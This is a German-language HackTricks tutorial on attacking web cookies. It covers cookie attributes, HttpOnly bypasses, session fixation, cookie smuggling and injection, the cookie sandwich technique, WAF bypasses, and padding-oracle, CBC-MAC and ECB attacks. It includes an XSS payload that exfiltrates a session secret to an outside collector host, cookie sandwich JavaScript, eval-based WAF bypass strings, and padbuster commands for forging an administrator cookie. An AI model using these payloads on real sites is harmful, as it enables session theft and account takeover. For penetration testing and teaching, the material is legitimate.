Cookies Hacking
Reading time: 17 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Cookie-Attribute
Cookies verfügen über mehrere Attribute, die ihr Verhalten im Browser des Nutzers steuern. Hier eine Übersicht dieser Attribute in eher sachlichem Ton:
Expires und Max-Age
Das Ablaufdatum eines Cookies wird durch das Attribut Expires
bestimmt. Das Attribut Max-age
definiert hingegen die Anzahl der Sekunden, bis ein Cookie gelöscht wird. Bevorzuge Max-age
, da es moderneren Praktiken entspricht.
Domain
Die Hosts, die ein Cookie erhalten sollen, werden durch das Attribut Domain
festgelegt. Standardmäßig entspricht dies dem Host, der das Cookie gesetzt hat, ohne dessen Subdomains. Wird das Domain
-Attribut jedoch explizit gesetzt, umfasst es auch Subdomains. Dadurch ist das Setzen von Domain
weniger restriktiv und nützlich, wenn Cookies zwischen Subdomains geteilt werden sollen. Beispielsweise macht Domain=mozilla.org
Cookies auf Subdomains wie developer.mozilla.org
zugänglich.
Path
Das Path
-Attribut gibt einen spezifischen URL-Pfad an, der in der angeforderten URL vorhanden sein muss, damit der Cookie
-Header gesendet wird. Das Attribut behandelt das Zeichen /
als Verzeichnistrenner, sodass auch Übereinstimmungen in Unterverzeichnissen möglich sind.
Ordering Rules
Wenn zwei Cookies denselben Namen tragen, richtet sich die Auswahl des zu sendenden Cookies nach:
- Dem Cookie, dessen Path am längsten mit der angeforderten URL übereinstimmt.
- Dem zuletzt gesetzten Cookie, falls die Paths identisch sind.
SameSite
- Das Attribut
SameSite
legt fest, ob Cookies bei Requests gesendet werden, die von Drittanbieter-Domains ausgehen. Es bietet drei Einstellungen: - Strict: Verhindert, dass das Cookie bei Drittanbieter-Requests gesendet wird.
- Lax: Erlaubt das Senden des Cookies bei GET-Requests, die von Drittanbieter-Websites initiiert werden.
- None: Erlaubt das Senden des Cookies von jeder Drittanbieter-Domain.
Beim Konfigurieren von Cookies hilft das Verständnis dieser Attribute, um sicherzustellen, dass sie sich in verschiedenen Szenarien wie erwartet verhalten.
Request Type | Example Code | Cookies Sent When |
---|---|---|
Link | <a href="..."></a> | NotSet*, Lax, None |
Prerender | <link rel="prerender" href=".."/> | NotSet*, Lax, None |
Form GET | <form method="GET" action="..."> | NotSet*, Lax, None |
Form POST | <form method="POST" action="..."> | NotSet*, None |
iframe | <iframe src="..."></iframe> | NotSet*, None |
AJAX | $.get("...") | NotSet*, None |
Image | <img src="..."> | NetSet*, None |
Tabelle von Invicti und leicht modifiziert.
Ein Cookie mit dem Attribut SameSite wird CSRF-Angriffe abschwächen, bei denen eine eingeloggte Sitzung erforderlich ist.
*Beachte, dass ab Chrome80 (Feb/2019) das Standardverhalten eines Cookies ohne SameSite-Attribut Lax sein wird (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Beachte, dass vorübergehend, nach Anwendung dieser Änderung, die Cookies ohne SameSite-Policy in Chrome während der ersten 2 Minuten als None behandelt werden und danach für top-level Cross-Site-POST-Requests als Lax.
Cookie-Flags
HttpOnly
Verhindert, dass der Client auf das Cookie zugreift (z. B. via Javascript: document.cookie
)
Bypasses
- Falls eine Seite die Cookies als Antwort auf eine Anfrage zurückgibt (z. B. eine PHPinfo-Seite), ist es möglich, eine XSS auszunutzen, um eine Anfrage an diese Seite zu senden und die Cookies aus der Antwort zu stehlen (siehe Beispiel unter https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
- Dies könnte mit TRACE-HTTP-Requests umgangen werden, da die Serverantwort (falls diese HTTP-Methode verfügbar ist) die gesendeten Cookies reflektiert. Diese Technik wird Cross-Site Tracking genannt.
- Moderne Browser verhindern diese Technik, indem sie das Senden von TRACE-Requests aus JS nicht erlauben. Es wurden jedoch Umgehungen in spezifischer Software gefunden, z. B. durch Senden von
\r\nTRACE
stattTRACE
an IE6.0 SP2. - Eine weitere Möglichkeit ist die Ausnutzung von zero/day-Schwachstellen in Browsern.
- Es ist möglich, HttpOnly-Cookies zu überschreiben, indem ein Cookie Jar overflow-Angriff durchgeführt wird:
- Es ist möglich, einen Cookie Smuggling-Angriff zu verwenden, um diese Cookies zu exfiltrieren
- Wenn ein serverseitiger Endpoint die rohe Session-ID in der HTTP-Antwort zurückgibt (z. B. in HTML-Kommentaren oder einem Debug-Block), kann HttpOnly umgangen werden, indem ein XSS-Gadget verwendet wird, um diesen Endpoint abzurufen, das Geheimnis per regex zu extrahieren und es zu exfiltrieren. Beispiel eines XSS-Payload-Musters:
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
Secure
Die Anfrage sendet das Cookie nur, wenn die HTTP-Anfrage über einen sicheren Kanal (typischerweise HTTPS) übertragen wird.
Cookie-Präfixe
Cookies, die mit __Secure-
vorangestellt sind, müssen zusammen mit dem secure
Flag von Seiten gesetzt werden, die über HTTPS gesichert sind.
Bei Cookies, die mit __Host-
vorangestellt sind, müssen mehrere Bedingungen erfüllt sein:
- Sie müssen mit dem
secure
Flag gesetzt sein. - Sie müssen von einer Seite stammen, die durch HTTPS gesichert ist.
- Es ist untersagt, eine Domain anzugeben, wodurch ihre Übertragung an Subdomains verhindert wird.
- Der Path für diese Cookies muss auf
/
gesetzt sein.
Es ist wichtig zu beachten, dass Cookies mit dem Präfix __Host-
weder an Superdomains noch an Subdomains gesendet werden dürfen. Diese Einschränkung hilft, Application-Cookies zu isolieren. Daher kann die Verwendung des __Host-
Präfixes für alle Application-Cookies als gute Praxis zur Verbesserung von Sicherheit und Isolation betrachtet werden.
Überschreiben von Cookies
Eine Schutzmaßnahme von __Host-
-präfixierten Cookies besteht darin, zu verhindern, dass sie von Subdomains überschrieben werden. Dadurch werden zum Beispiel Cookie Tossing attacks verhindert. In dem Talk Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) wird gezeigt, dass es möglich war, __HOST- präfixierte Cookies von einer Subdomain zu setzen, indem der Parser ausgetrickst wurde, zum Beispiel durch Hinzufügen von "=" am Anfang oder am Anfang und Ende...:
 (1) (1) (1) (1).png)
Oder in PHP war es möglich, andere Zeichen am Anfang des Cookie-Namens hinzuzufügen, die durch Unterstriche ersetzt wurden, wodurch __HOST-
Cookies überschrieben werden konnten:
 (1) (1) (1) (1).png)
Cookie-Angriffe
Wenn ein benutzerdefiniertes Cookie sensible Daten enthält, überprüfe es (besonders wenn du an einem CTF teilnimmst), da es verwundbar sein könnte.
Cookies dekodieren und manipulieren
Sensible Daten, die in Cookies eingebettet sind, sollten immer geprüft werden. Cookies, die in Base64 oder ähnlichen Formaten kodiert sind, können oft dekodiert werden. Diese Schwachstelle erlaubt es Angreifern, den Inhalt des Cookies zu verändern und sich als andere Benutzer auszugeben, indem sie ihre veränderten Daten zurück in das Cookie kodieren.
Session Hijacking
Bei diesem Angriff wird das Cookie eines Benutzers gestohlen, um unautorisierten Zugriff auf dessen Konto in einer Anwendung zu erlangen. Mit dem gestohlenen Cookie kann sich ein Angreifer als der legitime Benutzer ausgeben.
Session Fixation
Bei diesem Szenario bringt ein Angreifer das Opfer dazu, ein bestimmtes Cookie zum Einloggen zu verwenden. Wenn die Anwendung beim Login kein neues Cookie vergibt, kann der Angreifer, der das ursprüngliche Cookie besitzt, das Opfer als dieses ausgeben. Diese Technik setzt voraus, dass sich das Opfer mit einem vom Angreifer bereitgestellten Cookie einloggt.
If you found an XSS in a subdomain or you control a subdomain, read:
Session Donation
Hier überredet der Angreifer das Opfer, das Session-Cookie des Angreifers zu verwenden. Das Opfer, in dem Glauben, in seinem eigenen Konto eingeloggt zu sein, führt unbewusst Aktionen im Kontext des Kontos des Angreifers aus.
If you found an XSS in a subdomain or you control a subdomain, read:
JWT Cookies
Click on the previous link to access a page explaining possible flaws in JWT.
JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.
Cross-Site Request Forgery (CSRF)
Dieser Angriff zwingt einen angemeldeten Benutzer dazu, unerwünschte Aktionen in einer Webanwendung auszuführen, in der er gerade authentifiziert ist. Angreifer können Cookies ausnutzen, die automatisch mit jeder Anfrage an die verwundbare Website gesendet werden.
Leere Cookies
(Check further details in theoriginal research) Browser erlauben die Erstellung von Cookies ohne Namen, was sich mit JavaScript wie folgt demonstrieren lässt:
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
Das Ergebnis im gesendeten cookie-Header ist a=v1; test value; b=v2;
. Interessanterweise erlaubt dies die Manipulation von cookies, wenn ein cookie mit leerem Namen gesetzt wird, wodurch möglicherweise andere cookies kontrolliert werden können, indem man den leeren cookie auf einen bestimmten Wert setzt:
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
Das führt dazu, dass der Browser einen Cookie-Header sendet, der von jedem Webserver als Cookie mit dem Namen a
und dem Wert b
interpretiert wird.
Chrome Bug: Problem mit Unicode-Surrogat-Codepoints
In Chrome führt das Vorhandensein eines Unicode-Surrogat-Codepunkts in einem gesetzten Cookie dazu, dass document.cookie
beschädigt wird und anschließend einen leeren String zurückgibt:
document.cookie = "\ud800=meep"
Das führt dazu, dass document.cookie
einen leeren String ausgibt, was auf eine dauerhafte Beschädigung hinweist.
Cookie Smuggling aufgrund von Parsing-Problemen
(Check further details in theoriginal research) Mehrere Webserver, darunter solche von Java (Jetty, TomCat, Undertow) und Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gehen Cookie-Strings aufgrund veralteter RFC2965-Unterstützung fehlerhaft um. Sie lesen einen doppelt-quotierten Cookie-Wert als einen einzigen Wert, selbst wenn er Semikolons enthält, die normalerweise Schlüssel-Wert-Paare trennen sollten:
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
Cookie Injection Vulnerabilities
(Check further details in theoriginal research) Die fehlerhafte Parsing-Logik von Cookies durch Server, insbesondere Undertow, Zope und solche, die Python's http.cookie.SimpleCookie
und http.cookie.BaseCookie
verwenden, eröffnet Möglichkeiten für cookie injection attacks. Diese Server trennen den Beginn neuer Cookies nicht korrekt, wodurch Angreifer Cookies spoofen können:
- Undertow erwartet ein neues Cookie unmittelbar nach einem quoted value ohne Semikolon.
- Zope sucht nach einem Komma, um mit dem Parsen des nächsten Cookies zu beginnen.
- Python's cookie classes beginnen mit dem Parsen bei einem Leerzeichen.
Diese Schwachstelle ist besonders gefährlich in Webanwendungen, die auf cookie-basierte CSRF-Protection setzen, da sie es Angreifern ermöglicht, gefälschte CSRF-token-Cookies zu injizieren und so Sicherheitsmaßnahmen zu umgehen. Das Problem wird durch Pythons Umgang mit doppelten Cookie-Namen verschärft, bei dem das letzte Vorkommen frühere überschreibt. Es wirft außerdem Bedenken für __Secure-
und __Host-
Cookies in unsicheren Kontexten auf und kann zu Autorisierungsumgehungen führen, wenn Cookies an Back-End-Server weitergereicht werden, die für Spoofing anfällig sind.
Cookies $version
WAF Bypass
According to this blogpost, es könnte möglich sein, das Cookie-Attribut $Version=1
zu verwenden, damit das Backend eine ältere Logik zum Parsen des Cookies nutzt (aufgrund von RFC2109). Außerdem können andere Werte wie $Domain
und $Path
verwendet werden, um das Verhalten des Backends bezüglich des Cookies zu verändern.
Cookie Sandwich Attack
According to this blogpost ist es möglich, die cookie sandwich technique zu nutzen, um HttpOnly-Cookies zu stehlen. Dies sind die Voraussetzungen und Schritte:
- Finde eine Stelle, an der ein scheinbar nutzloses cookie in der Response reflektiert wird
- Create a cookie called
$Version
mit dem Wert1
(du kannst das z. B. in einem XSS-Angriff aus JS heraus tun) mit einem spezifischeren Path, damit es die erste Position einnimmt (einige Frameworks wie python benötigen diesen Schritt nicht) - Create the cookie that is reflected mit einem Wert, der ein offenes doppeltes Anführungszeichen hinterlässt, und mit einem spezifischen Path, sodass es in der Cookie-DB direkt nach dem vorherigen (
$Version
) positioniert ist - Dann folgt das legitime Cookie in der Reihenfolge
- Create a dummy cookie that closes the double quotes innerhalb seines Wertes
Auf diese Weise wird das Opfer-Cookie in der neuen Cookie-Version 1 eingeschlossen und wird immer dann reflektiert, wenn es reflektiert wird. e.g. from the post:
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;
WAF bypasses
Cookies $version
Siehe vorherigen Abschnitt.
Bypassing value analysis with quoted-string encoding
Diese Parsing-Logik sorgt dafür, dass Escape-Sequenzen in Cookie-Werten aufgelöst werden, sodass "\a" zu "a" wird. Das kann nützlich sein, um WAFS zu umgehen, z. B.:
eval('test') => forbidden
"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed
Bypassing cookie-name blocklists
Im RFC2109 wird angegeben, dass ein Komma als Trenner zwischen Cookie-Werten verwendet werden kann. Außerdem ist es möglich, Leerzeichen und Tabs vor und nach dem Gleichheitszeichen hinzuzufügen. Deshalb erzeugt ein Cookie wie $Version=1; foo=bar, abc = qux
nicht das Cookie "foo":"bar, admin = qux"
sondern die Cookies "foo":"bar"
und "admin":"qux"
. Beachte, wie 2 Cookies generiert werden und wie bei admin das Leerzeichen vor und nach dem Gleichheitszeichen entfernt wurde.
Bypassing value analysis with cookie splitting
Schließlich fügen verschiedene backdoors in einem String unterschiedliche cookies, die in verschiedenen cookie headers übergeben wurden, zusammen, wie in:
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
Was es ermöglichen könnte, eine WAF zu umgehen, wie in diesem Beispiel:
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
Zusätzliche Prüfungen für besonders verwundbare Cookies
Grundlegende Prüfungen
- Der cookie ist jedes Mal beim login gleich.
- Log out und versuche, denselben cookie zu verwenden.
- Versuche, dich mit 2 Geräten (oder Browsern) beim selben account mit demselben cookie einzuloggen.
- Prüfe, ob der cookie Informationen enthält, und versuche, ihn zu verändern.
- Versuche, mehrere accounts mit nahezu identischen usernames zu erstellen und prüfe, ob du Gemeinsamkeiten erkennen kannst.
- Prüfe die "remember me" Option, falls vorhanden, um zu sehen, wie sie funktioniert. Falls sie vorhanden ist und verwundbar sein könnte, verwende immer nur den cookie von remember me ohne andere cookies.
- Prüfe, ob der vorherige cookie noch funktioniert, nachdem du das Passwort geändert hast.
Fortgeschrittene cookie-Angriffe
Wenn der cookie beim Einloggen gleich bleibt (oder nahezu), bedeutet das wahrscheinlich, dass der cookie mit einem Feld deines accounts verknüpft ist (wahrscheinlich dem username). Dann kannst du:
- Versuche, viele accounts mit sehr ähnlichen usernames zu erstellen und versuche zu erraten, wie der Algorithmus funktioniert.
- Versuche, den username mittels bruteforce anzugreifen. Wenn der cookie nur als Authentifizierungsmethode für deinen username dient, kannst du einen account mit dem username "Bmin" erstellen und mittels bruteforce jedes einzelne bit deines cookies durchprobieren, weil eines der cookies, die du testen wirst, dasjenige von "admin" sein wird.
- Versuche Padding Oracle (du kannst den Inhalt des cookies entschlüsseln). Verwende padbuster.
Padding Oracle - Padbuster Beispiele
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf
# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
Padbuster wird mehrere Versuche durchführen und Sie fragen, welche Bedingung der Fehlerzustand ist (diejenige, die nicht gültig ist).
Anschließend wird es mit dem decrypting the cookie beginnen (es kann mehrere Minuten dauern).
Wenn der Angriff erfolgreich durchgeführt wurde, könnten Sie versuchen, eine Zeichenfolge Ihrer Wahl zu encrypt. Zum Beispiel, wenn Sie encrypt user=administrator.
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
This execution will give you the cookie correctly encrypted and encoded with the string user=administrator inside.
CBC-MAC
Vielleicht könnte ein cookie einen Wert haben und mit CBC signiert werden. Dann ist die Integrität des Wertes die signature, die mittels CBC über denselben Wert erzeugt wird. Da empfohlen wird, als IV einen Nullvektor zu verwenden, könnte diese Art der Integritätsprüfung verwundbar sein.
The attack
- Hole die signature von username administ = t
- Hole die signature von username rator\x00\x00\x00 XOR t = t'
- Setze im cookie den Wert administrator+t' (t' wird eine gültige signature von (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 sein)
ECB
If the cookie is encrypted using ECB it could be vulnerable.
Wenn du dich einloggst, muss der cookie, den du erhältst, immer derselbe sein.
How to detect and attack:
Erstelle 2 users mit fast denselben Daten (username, password, email, etc.) und versuche, ein Muster im erhaltenen cookie zu entdecken.
Erstelle z. B. einen user namens "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" und prüfe, ob es ein Muster im cookie gibt (da ECB mit demselben key jeden block verschlüsselt, könnten dieselben verschlüsselten Bytes erscheinen, wenn der username verschlüsselt wird).
Es sollte ein Muster geben (mit der Größe eines verwendeten block). Wenn du weißt, wie eine Reihe von "a" verschlüsselt wird, kannst du einen username erstellen: "a"*(size of the block)+"admin". Dann kannst du das verschlüsselte Muster eines block von "a" aus dem cookie löschen. Und du erhältst den cookie des username "admin".
References
- https://blog.ankursundara.com/cookie-bugs/
- https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
- https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
- https://seclists.org/webappsec/2006/q2/181
- https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.